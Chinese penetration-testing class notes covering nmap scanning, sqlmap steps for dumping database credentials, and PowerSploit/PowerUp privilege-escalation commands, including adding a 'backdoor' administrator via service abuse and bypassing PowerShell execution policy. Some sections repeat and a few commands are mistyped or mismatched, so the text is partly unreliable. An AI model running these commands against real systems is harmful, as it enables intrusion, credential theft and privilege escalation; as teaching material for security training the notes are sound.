实训课笔记

nmap:

namp 192.168.1.1
namp   -A    –T4    -v     192.168.1.1
-A  开启操作系统识别和版本识别功能
-T  0-6档,设置扫描的快慢,0最慢,6最快;
级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;
一般选择T4
-v  显示信息的级别,-vv 显示更详细的信息
192.168.1.1  扫描单个目标
192.168.1.1  192.168.1.5  …    扫描多个目标
192.168.1.1/24  扫描C段   或者 192.168.1.1-254


namp   -A    –T4    -v     -iL     ~/targets.txt
    -iL  表示要扫描的目标位于一个文档中
namp   -A    –T4    -v   192.168.1.1/24  --exclude  192.168.1.100
--exclude  192.168.1.100   表示排除在外的目标
namp   -A    –T4    -v   192.168.1.1/24  --excludefile   ~/targets.txt
--excludefile ~/targets.txt   表示排除在外的目标包含在一个文档中
namp   192.168.1.1   -p  80,443  
-p  80,443   表示扫描特点端口,如果不用-p指定端口,  默认扫描1000个常用端口 
namp   --traceroute   192.168.1.1
--traceroute  探测路由 
namp   -O  192.168.1.1  
-O  对目标进行指纹识别
namp   -sV  192.168.1.1  
-sV 对版本进行探测
namp   -sF  -T4  192.168.1.1  
-sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态


sqlmap:设置目标URL 
-u /--url
最基本格式 sqlmap -u “http://www.target.com/index.php?id=1”
• -m
从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
• -r
从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ......

--dbs              返回当前连接的数据库
--current-db       返回当前网站数据库的数据库用户
-D                 指定数据库系统的数据库名
--tables           列举数据库表
-T                 指定数据库表名
--columns          列举数据库表中的字段
-C                 指定数据库表中的字段名

sqlmap“六步”
第一步:判断是否是注入点
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"
第二步:获取数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db
第四步:列出指定数据库的所有表
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables
第五步:读取指定表中的字段名称
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"  -D "security" -T  users --colunms
第六步:读取指定字段内容
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T  users -C username,password --dump


Power攻击工具
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。
文件操作类
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test1.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
查看文件test.txt内容:Get-Content  test.txt
设置文件test.txt内容t:Set-Content  test.txt  -Value "haha"
给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt
删除文件test.txt:Remove-Item test.txt
Powershell命令参数
ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc  base64: 把ps脚本编码成base64来执行,实战用的最多;
Powersploit简介
•    ActivirusBypass:绕过杀毒软件查杀
•    CodeExecution:在目标主机上执行代码
•    Exfiltration:目标主机上的信息搜集工具
•    Mayhem:蓝屏等破坏性的脚本
•    Persistence:权限维持
•    Privsec:提权等脚本
•    Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本
Powerup攻击模块
下面开始对模块介绍:
1.Invoke-AllChecks
执行所有的脚本来检查。
执行方式:
PS C:> Invoke-AllChecks
下面开始对模块介绍:
1.Invoke-AllChecks
执行所有的脚本来检查。
执行方式:
PS C:> Invoke-AllChecks
3. Get-ApplicationHost
从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
执行方式:
PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示
4. Get-RegistryAlwaysInstallElevated
检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。
执行方式:
PS C:>Get-RegistryAlwaysInstallElevated
5. Get-RegistryAutoLogon
检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。
执行方式:
PS C:> Get-RegistryAutoLogon
6. Get-ServiceDetail
返回某服务的信息。
执行方式:
PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7. Get-ServiceFilePermission
检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。
执行方式:
C:> Get-ServiceFilePermission
8. Test-ServiceDaclPermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。
执行方式:
PS C:>Test-ServiceDaclPermission
9. Get-ServiceUnquoted
检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。
比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe
执行方式:
PS C:>Get-ServiceUnquoted
10. Get-UnattendedInstallFile
检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:sysprep.inf
c:\windows\Panther\Unattended.xml
c:\windows\Panther\UnattendUnattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\UnattendUnattend.xml
c:\windows\S\ystem32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml
执行方式:
PS C:> Get-UnattendedInstallFile
11. Get-ModifiableRegistryAutoRun
检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。
注册表检查的键值为:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
执行方式:
PS C:>Get-ModifiableRegistryAutoRun
12. Get-ModifiableScheduledTaskFile
返回当前用户能够修改的计划任务程序的名称和路径。
执行方式:
PS C:>Get-ModifiableScheduledTaskFile
12. Get-ModifiableScheduledTaskFile
返回当前用户能够修改的计划任务程序的名称和路径。
执行方式:
PS C:>Get-ModifiableScheduledTaskFile
13. Get-Webconfig
返回当前服务器上的web.config文件中的数据库连接字符串的明文。
执行方式:
PS C:>get-webconfig
14. Invoke-ServiceAbuse
用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。
执行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
15. Restore-ServiceBinary
恢复服务的可执行文件到原始目录。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission
检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI
生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:
PS C:> Write-UserAddMSI
19. Write-ServiceBinary
预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20. Install-ServiceBinary
通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。


恢复服务的可执行文件到原始目录。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission
检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI
生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:
PS C:> Write-UserAddMSI
19. Write-ServiceBinary
预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20. Install-ServiceBinary
通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值